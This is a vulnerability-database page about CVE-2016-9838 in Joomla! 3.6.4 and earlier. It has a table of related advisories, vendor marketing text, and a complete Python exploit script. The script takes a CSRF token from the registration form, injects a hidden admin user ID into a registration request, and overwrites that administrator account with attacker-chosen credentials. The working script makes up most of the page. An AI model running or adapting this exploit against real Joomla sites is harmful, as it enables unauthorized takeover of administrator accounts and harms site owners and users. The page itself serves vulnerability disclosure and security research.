| Reporter | Title | Published | Views | Family All 27 |
|---|---|---|---|---|
| Joomla! 3.6.4 - Admin TakeOver Exploit | 26 Jan 201700:00 | – | zdt | |
| Joomla! -- multiple vulnerabilities | 6 Dec 201600:00 | – | freebsd | |
| CVE-2016-9838 | 14 Dec 201611:51 | – | circl | |
| Core Remote Elevation of Privilege Vulnerability | 16 Dec 201600:00 | – | cnvd | |
| CVE-2016-9838 | 16 Dec 201609:02 | – | cve | |
| CVE-2016-9838 | 16 Dec 201609:02 | – | cvelist | |
| Joomla! < 2.5.2 - Admin Creation | 20 Jan 201700:00 | – | exploitdb | |
| EUVD-2016-10638 | 7 Oct 202500:30 | – | euvd | |
| Joomla! 2.5.2 - Admin Creation | 20 Jan 201700:00 | – | exploitpack | |
| Joomla! 3.6.4 - Admin Takeover | 20 Jan 201700:00 | – | exploitpack |
#!/usr/bin/python3
# CVE-2016-9838: Joomla! <= 3.6.4 Admin TakeOver
# cf
# Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution
import bs4
import requests
import random
ADMIN_ID = 384
url = 'http://vmweb.lan/Joomla-3.6.4/'
form_url = url + 'index.php/component/users/?view=registration'
action_url = url + 'index.php/component/users/?task=registration.register'
username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
password = 'ActualRandomChimpanzee123'
user_data = {
'name': username,
'username': username,
'password1': password,
'password2': password + 'XXXinvalid',
'email1': email,
'email2': email,
'id': '%d' % ADMIN_ID
}
session = requests.Session()
# Grab original data from the form, including the CSRF token
response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')
form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}
# Build our modified data array
user_data = {'jform[%s]' % k: v for k, v in user_data.items()}
data.update(user_data)
# First request will get denied because the two passwords are mismatched
response = session.post(action_url, data=data)
# The second will work
data['jform[password2]'] = data['jform[password1]']
del data['jform[id]']
response = session.post(action_url, data=data)
print("Account modified to user: %s [%s]" % (username, email))Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation